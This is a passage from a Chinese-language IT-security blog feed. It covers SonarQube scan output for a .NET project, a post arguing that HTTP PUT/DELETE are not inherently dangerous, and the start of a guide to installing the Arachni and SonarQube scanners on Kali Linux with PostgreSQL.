&lt;span&gt;&amp;nbsp;-&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&quot;C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\SomeConsoleApplicatio&lt;/span&gt;&lt;span&gt;n.csproj&quot; (Rebuild 目標) (2) -&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;(CoreCompile 目標) -&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp; C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\Program.cs(4,18): wa&lt;/span&gt;&lt;span&gt;rning S1118: Add a &#39;protected&#39; constructor or the &#39;static&#39; keyword to the class declaration. (https://rules.sonarsource&lt;/span&gt;&lt;span&gt;.com/csharp/RSPEC-1118) [C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplicati&lt;/span&gt;&lt;span&gt;on\SomeConsoleApplication.csproj]&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp; C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\Program.cs(21,28): w&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;arning S3400: Remove this method and declare a constant for this value. (https://rules.sonarsource.com/csharp/RSPEC-340&lt;/span&gt;&lt;span&gt;0) [C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\SomeConsoleApplica&lt;/span&gt;&lt;span&gt;tion.csproj]&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&amp;nbsp; C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication\Program.cs(9,17): wa&lt;/span&gt;&lt;span&gt;rning S2583: Change this condition so that it does not always evaluate to &#39;true&#39;; some subsequent code is never execute&lt;/span&gt;&lt;span&gt;d. (https://rules.sonarsource.com/csharp/RSPEC-2583) [C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CShar&lt;/span&gt;&lt;span&gt;pProject\SomeConsoleApplication\SomeConsoleApplication.csproj]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #fcff01;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #fcff01;&quot;&gt;&amp;nbsp; &amp;nbsp; 3 個警告&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
&amp;nbsp; &amp;nbsp; 0 個錯誤&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
經過時間 00:00:20.71&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
SonarScanner for MSBuild 5.11&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
Using the .NET Framework version of the Scanner for MSBuild&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
Post-processing started.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
Calling the TFS Processor executable...&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
The TFS Processor has finished&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
Calling the SonarScanner CLI...&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff00fe;&quot;&gt;
&amp;lt;&amp;lt;部分訊息省略&amp;gt;&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;
INFO: ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;
INFO: &lt;span style=&quot;background-color: #6c3483;&quot;&gt;EXECUTION SUCCESS&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;
INFO: ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
INFO: Total time: 45.588s&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
INFO: Final Memory: 16M/57M&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
INFO: ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #6c3483; color: white;&quot;&gt;
The SonarScanner CLI has finished&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
08:57:43.051&amp;nbsp; Post-processing succeeded.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/div&gt;
  &lt;hr style=&quot;border: 2px solid rgb(174, 214, 241);&quot; /&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;如果前面各步驟無誤，應該可以完成掃描，最後會看到「&lt;span style=&quot;color: #990000;&quot;&gt;EXECUTION SUCCESS&lt;/span&gt;」。如果過程出現錯誤，請仔細研讀訊息，善用Google或ChatGPT找出解答。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPQGjigVWEQeTuo4IusXnxhg7G7oi3yZBAlDR80BYZgSjWSd__iMSZbOdAJ9IHtXPP-iLPTnd8M5knjQIxifBepdKbKtpG2abLiNekfmUZL5FOQA-ucBsOQUH6A1rRm8_HhcFdxaxShFbJreZkC_oIqpt728G80ZoJ2n1uC_yWyoRnm4bdSABHWKR4pMYL/s1567/sonar_net_011.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;410&quot; data-original-width=&quot;1567&quot; height=&quot;168&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPQGjigVWEQeTuo4IusXnxhg7G7oi3yZBAlDR80BYZgSjWSd__iMSZbOdAJ9IHtXPP-iLPTnd8M5knjQIxifBepdKbKtpG2abLiNekfmUZL5FOQA-ucBsOQUH6A1rRm8_HhcFdxaxShFbJreZkC_oIqpt728G80ZoJ2n1uC_yWyoRnm4bdSABHWKR4pMYL/w640-h168/sonar_net_011.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #9fc5e8;&quot;&gt;&amp;nbsp; &amp;nbsp; 關於 dotNet Core 專案的掃描，請參閱：&lt;a href=&quot;http://atic-tw.blogspot.com/2023/09/sonarqubedotnet-core.html&quot; target=&quot;_blank&quot;&gt;以SonarQube掃描dotNet Core專案源碼（白箱掃描）&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/4274567344090937741/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2023/09/sonarqubenetframework.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/4274567344090937741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/4274567344090937741'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2023/09/sonarqubenetframework.html' title='以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9MqaAnOLxREu3uLG3CGhCbaYAB6HYPIWWKFdUra-FC4dMIifwT2kNuSLZpIvn6i0imgfqddym7miHVkmn0aNDnRuln_wEcHw-TyS3lPZWnghgiPYv4hPX7E9Ty5gYTXBXdojXbQx4FQlkAW9Kd9NWJr3Fxls8gHuoKjIECC1Yka14kXWbLZ_q4CYd5R7o/s72-w400-h229-c/vs-community_001.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-449893879861281324</id><published>2023-06-25T08:51:00.005+08:00</published><updated>2023-06-25T08:51:52.102+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="JSP"/><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊技術"/><title type='text'>Web Server開啟PUT / DELETE方法，真的危險嗎？</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(8, 108, 197); line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #990000; font-size: medium;&quot;&gt;前言&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;RFC7231是http方法的實作建議文件，在第4節提到：&lt;/p&gt;
&lt;p style=&quot;border: 1pt solid green; padding: 3pt;&quot;&gt;HTTP was originally designed to be usable as an interface to distributed object systems.  The request method was envisioned as applying semantics to a target resource in much the same way as invoking a defined method on an identified object would apply semantics. &lt;/p&gt;
&lt;p&gt;（HTTP的原始設計目標是作為分散式物件系統的操作介面，將請求方法當成操作指定物件的方式）。&lt;/p&gt;
&lt;p&gt;而RFC7231中共提供八種http方法：&lt;/p&gt;
&lt;table style=&quot;border: 1pt solid black;&quot;&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th style=&quot;border: 1pt solid black;&quot;&gt;方法&lt;/th&gt;
      &lt;th style=&quot;border: 1pt solid black;&quot;&gt;說明&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;GET&lt;/td&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;傳送指定的資源（含回應標頭及狀態碼）&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;HEAD&lt;/td&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;類似GET，但傳送回應標頭及狀態碼&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;POST&lt;/td&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;按請求載荷，處理指定的資源&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;PUT&lt;/td&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;以請求載荷取代目標資源的內容（若目標資源不存在，則新增之）&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;DELETE&lt;/td&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;移除目標資源的當前內容&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;CONNECT&lt;/td&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;就處理的資源，在client和server之間建立連線通道&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;OPTIONS&lt;/td&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;指出目標資源可用的通訊選項&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;TRACE&lt;/td&gt;
      &lt;td style=&quot;border: 1pt solid black;&quot;&gt;沿著到達目標資源的路徑，執行訊息環回測試。&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
  &lt;/table&gt;
&lt;p&gt;對於不會改變資源狀態的方法，被視為「安全」，如GET、HEAD、OPTIONS和TRACE&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #990000; font-size: medium;&quot;&gt;緣由&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;收過幾次滲透測試報告，指出：&lt;span style=&quot;color: #cc0000;&quot;&gt;網站開啟OPTIONS、PUT、DELETE等方法(method)，會讓駭客上傳後門、木馬，或者刪除重要檔案，屬高風險漏洞，必須關閉。&lt;/span&gt;事實真是如此嗎？心中一直存疑。滲透測試人員是否做過驗證程序嗎？還是看到網路上的報導，就人云亦云？會有這樣的見解，或許是因為早期Internet的目標資源是「檔案」形式。但現今，目標資源已衍生出多種形態，原本的不安全論點是否還適用？&lt;/p&gt;
&lt;p&gt;從RFC7231的說明：&lt;/p&gt;
&lt;p style=&quot;border: 1pt solid green; padding: 3pt;&quot;&gt;Unlike distributed objects, the standardized request methods in HTTP are not resource-specific, since uniform interfaces provide for better visibility and reuse in network-based systems [REST].&amp;nbsp; Once defined, a standardized method ought to have the same semantics when applied to any resource, &lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;though each resource determines for itself whether those semantics are implemented or allowed.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;（與分散式物件不同，標準的HTTP請求並未限定特定資源，在網路體系（REST）裡，介面的一致性可更好理解和重複使用，儘管&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;各個資源可以自行決定是否實作這些方法的功能或同意執行這些方法&lt;/b&gt;&lt;/span&gt;，但有了標準化方法，操作任何資源時，就不致於誤解意思。）&lt;/p&gt;&lt;p&gt;上面這段話並「沒有規定PUT／DELETE只用來操作檔案」。&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #990000; font-size: medium;&quot;&gt;行動&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;為此，在Git Hub上找到&lt;a href=&quot;https://github.com/apache/tomcat&quot; target=&quot;_blank&quot;&gt;Tomcat源碼&lt;/a&gt;，從Tomcat預設&lt;a href=&quot;http://DefaultServlet.java&quot; target=&quot;_blank&quot;&gt;DefaultServlet.java&lt;/a&gt;發現處理PUT和DELETE方法的邏輯，確實可以上傳及刪除指定的檔案。既然PUT和DELETE的功能可由Tomcat的預設Servlet來定義，表示開發者亦可重新定義這些方法，進而改變PUT和DELETE的處理邏輯，那麼，PUT和DELETE是不是真的不安全？就必要經過實際驗證，因此錄製一段影片，藉由修改PUT和DELETE的程式邏輯，證明PUT和DELETE不像一般滲透測試人員所言那麼地危險！&lt;/p&gt;
&lt;p&gt;影片在：&lt;a data-saferedirecturl=&quot;https://www.google.com/url?q=https://youtu.be/x85wiKm3JSg&amp;amp;source=gmail&amp;amp;ust=1687691715169000&amp;amp;usg=AOvVaw0v09qIpHS7YAJMwi6JZYqK&quot; href=&quot;https://youtu.be/x85wiKm3JSg&quot; style=&quot;background-color: white; color: #1155cc; font-family: Arial, Helvetica, sans-serif; font-size: small;&quot; target=&quot;_blank&quot;&gt;https://youtu.be/x85wiKm3JSg&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/449893879861281324/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2023/06/web-serverput-delete.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/449893879861281324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/449893879861281324'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2023/06/web-serverput-delete.html' title='Web Server開啟PUT / DELETE方法，真的危險嗎？'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-8681704923268792398</id><published>2023-03-05T19:48:00.009+08:00</published><updated>2023-09-28T11:07:26.977+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Kali"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><title type='text'>在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(8, 108, 197); line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #990000; font-size: medium;&quot;&gt;前言&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;最近因資安教學，需要介紹免費的Web黑、白箱掃描工具，看網路上許多大大推薦arachni（黑箱）及SonarQube（白箱），由於筆者從事滲透測試時，經常使用Kali Linux，加上Kali有完整的第三方環境，便興起於Kali安裝這兩套工具的念頭。&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;網路上有很多關於arachni和SonarQube的安裝及使用說明，筆者照著做，卻踩了不少坑、撞了許多牆，便藉部落格留下紀錄，以供日後回顧。&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #990000; font-size: medium;&quot;&gt;壹、Kali環境說明&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;筆者是從Kali-Org直接下載現成的&lt;a href=&quot;https://www.kali.org/get-kali/#kali-virtual-machines&quot; target=&quot;_blank&quot;&gt;VMware虛擬機映像檔&lt;/a&gt;壓縮檔，下載後解壓縮，然後用VMware workstation Player開啟，可以省掉安裝虛擬的過程，也可簡化教學步驟。&lt;/p&gt;&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;Kali VM預設的帳號和密碼都是「kali」此帳號非系統管理員（root），很多指令必須藉由sudo讓kali暫時以系統管理員角色來執行。&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;進入Kali後，第一件事是執行系統更新，請開啟一個終端機（或稱主控台），並執行「&lt;span style=&quot;background-color: black;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: #cccccc;&quot;&gt;sudo apt updage &amp;amp;&amp;amp; sudo apt upgrade -y&amp;nbsp;&lt;/span&gt;&lt;/span&gt;」（參考下圖）&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;接著以「&lt;span style=&quot;background-color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: black; color: #cccccc;&quot;&gt;sudo service --status-all | grep post&amp;nbsp;&lt;/span&gt;」查看postgresql是否已啟動，前頭是 [ - ]表示未啟動，是 [ + ]表示已啟動。如果未啟動，請以「&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt; sudo systemctl enable postgresql &lt;/span&gt;&lt;/span&gt;」將它設成開機後自動啟動，並以「&lt;span style=&quot;background-color: black; color: #cccccc;&quot;&gt; sudo systemctl start postgresql &lt;/span&gt;」立即啟動postgressql服務。&lt;/p&gt;&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: arial; font-size: 14pt; text-align: center;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEh1BtuaD_47km2QWazvldu_dKIIeGoUs_nYHwW_9YI7xUUiFio5OzVJB73H0adM3UCFFJ5YTxUlP-u8PfcDgAfiMpQLQQ9qu72hJxlHka0i1_XKopG_yi-RuhESjVcnmSRgC0k9cnB1y3QqDNru482PIApvmzBEU3wMO9yY53iqebdsKbZrBojoVjju8Q&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;440&quot; data-original-width=&quot;505&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEh1BtuaD_47km2QWazvldu_dKIIeGoUs_nYHwW_9YI7xUUiFio5OzVJB73H0adM3UCFFJ5YTxUlP-u8PfcDgAfiMpQLQQ9qu72hJxlHka0i1_XKopG_yi-RuhESjVcnmSRgC0k9cnB1y3QqDNru482PIApvmzBEU3wMO9yY53iqebdsKbZrBojoVjju8Q=s16000&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;確認PostgreSQL啟動後，便可進行後續工作。&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #990000; font-size: medium;&quot;&gt;貳、設定PostgreSQL資料庫&lt;/span&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;text-indent: 37.3333px;&quot;&gt;（參考&lt;/span&gt;&lt;a href=&quot;https://medium.com/codex/install-sonarqube-on-ubuntu-21-using-postgresql-e2201fce4bf0&quot; style=&quot;text-indent: 37.3333px;&quot; target=&quot;_blank&quot;&gt;這篇文章&lt;/a&gt;&lt;span style=&quot;text-indent: 37.3333px;&quot;&gt;）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;arachni和SonarQube都支援PostgreSQL資料庫，而且Kali也已預安裝此資料系統，只須少少步驟設定，便可啟用。&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;確認PostgreSQL服務啟動後，可參考本段建立所需的資料庫及設定。&lt;/p&gt;
&lt;div style=&quot;background-color: black; border: 1px solid red; font-family: arial; font-size: 12pt; line-height: 110%; margin: 4px; padding: 0px 4px 0px 12px;&quot;&gt;
&lt;p&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;sudo passwd postgres&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#為postgres 設定新密碼（預設是無密碼）&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #接著輸入新密碼及再次確認新密碼，&lt;/span&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;請記住新密碼&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;su - postgres&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt; #切換成postgres角色的作業環境&lt;br /&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;密碼：&amp;nbsp; &amp;lt;&lt;/span&gt;&lt;i style=&quot;color: #cccccc;&quot;&gt;輸入postgres的密碼&lt;/i&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #fcff01;&quot;&gt;createuser&amp;nbsp; kali&lt;/span&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#在PostgreSQL 建立新使用者，可自定使用者名稱&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #fcff01;&quot;&gt;psql&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#進入PostgreSQL 資料庫命令列環境&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #f4cccc;&quot;&gt;ALTER USER kali WITH ENCRYPTED password &#39;kali&#39;;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#為kali設定密碼&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #這裡延用 kali，是為了方便操作，也可以另定密碼，&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #此密碼在OS的kali密碼並不是同一組&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #f4cccc;&quot;&gt;CREATE DATABASE sonar WITH ENCODING &#39;UTF8&#39; OWNER kali TEMPLATE=template0;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#為sonar(白箱工具)建立資料庫，名為 sonar，&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # 並將此資料庫擁有者設為kali (上面建立的 kali，不是OS的帳號 kali)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;\q&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#離開 PostgreSQL 資料庫命令列環境&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #fcff01;&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#離開PostgreSQL管理環境&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;span&gt;&lt;b style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;叁、安裝arachni&lt;/span&gt;&lt;/b&gt;&amp;nbsp; &amp;nbsp;（參考&lt;a href=&quot;https://kknews.cc/zh-tw/code/8knvk6n.html&quot; target=&quot;_blank&quot;&gt;這篇文章&lt;/a&gt;）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;將&amp;nbsp;arachni安裝於 /opt 目錄，指令如下：&lt;/p&gt;
&lt;div style=&quot;background-color: black; border: 1px solid red; font-family: arial; font-size: 12pt; line-height: 110%; margin: 4px; padding: 0px 4px 0px 12px;&quot;&gt;
&lt;p style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;wget /P /tmp https://github.com/Arachni/arachni/releases/download/v1.6.1.3/arachni-1.6.1.3-0.6.1.1-linux-x86_64.tar.gz&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#將arachni下載至 /tmp 目錄&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;cd /opt&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#切換到 /opt 目錄，arachni 將安裝至此&lt;/span&gt;&lt;/p&gt;
